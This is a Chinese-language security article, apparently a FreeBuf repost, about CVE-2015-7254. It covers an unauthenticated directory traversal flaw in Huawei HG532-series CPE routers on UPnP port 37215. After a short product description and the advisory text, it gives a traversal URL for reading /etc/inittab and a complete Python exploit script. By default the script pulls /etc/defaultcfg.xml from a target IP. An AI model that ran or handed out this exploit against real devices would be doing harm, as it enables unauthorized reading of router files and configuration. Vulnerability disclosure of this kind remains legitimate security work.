华为CPE设备存在远程任意文件读取漏洞(附EXP)

华为CPE设备存在远程任意文件读取漏洞(附EXP)

CPE是什么

CPE是一种将高速4G信号转换成平板电脑、智能手机、笔记本等移动终端通用的WiFi信号的设备,可同时支持多部终端上网,大小相当于一本书,在有4G信号覆盖的地方,插上电源就能使用,不必拉网线,使用和携带都很方便。

CPE的AP功能、路由器性能更强,可同时接平板电脑、智能手机、笔记本等移动终端几十个同时使用。具有较完整的用户认证功能及计费功能。

作者:Roberto Paleari (@rpaleari) and Aristide Fattori (@joystick)

日期:2015/11/06

CVE编号:CVE-2015-7254

向互联网开放网络端口(TCP / 37215,测试设备)的华为CPE模块存在目录遍历漏洞,37215端口是华为CPE设备的UPnP服务端口。

通过利用这一漏洞,远程攻击者可以不经验证访问设备的任何本地文件,黑客可以通过这一漏洞控制存在漏洞的设备。

详细来说,Web服务器被设计为无需身份验证就可以远程访问/icon/文件夹,然而这里提供的路径并不会检查目录遍历的尝试,导致攻击者可以用 ../ 访问任何本地文件。

举个栗子:设备的/etc/inittab文件可以通过以下网址访问到:

http://<target IP>:37215/icon/../../../etc/inittab

<target IP>是存在漏洞设备的IP地址

我们确认华为以下型号的设备将受到影响:

HG532e  HG532n  HG532s 其它型号的设备也很可能存在这一漏洞,但没有对它们进行测试

EXP

"""  Authors: Roberto Paleari (@rpaleari) and Aristide Fattori (@joystick)  """      import logging  import sys  import urllib2      DEFAULT_HEADERS = {"User-Agent": "Mozilla", }  DEFAULT_TIMEOUT = 5      def fetch_url(url):  global DEFAULT_HEADERS, DEFAULT_TIMEOUT  request = urllib2.Request(url, headers=DEFAULT_HEADERS)      try:  data = urllib2.urlopen(request, timeout=DEFAULT_TIMEOUT).read()  except Exception, e:  logging.error("Exception: %s", e)  data = None    return data      def exploit(ip, path):  url = "http://%s:37215/icon/../../../%s" % (ip, path)  data = fetch_url(url)  return data      def main():  targetip = sys.argv[1]    if len(sys.argv) > 2:  path = sys.argv[2].strip()  else:  path = "/etc/defaultcfg.xml"    assert path.startswith("/"), "An absolute path is required"  data = exploit(targetip, path)  if data is None:  logging.error("Exploit failed")  exit(-1)    # Successful  print data      if __name__ == "__main__":  main()

GitHub 编译/0xroot,内容有所删减,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

发表评论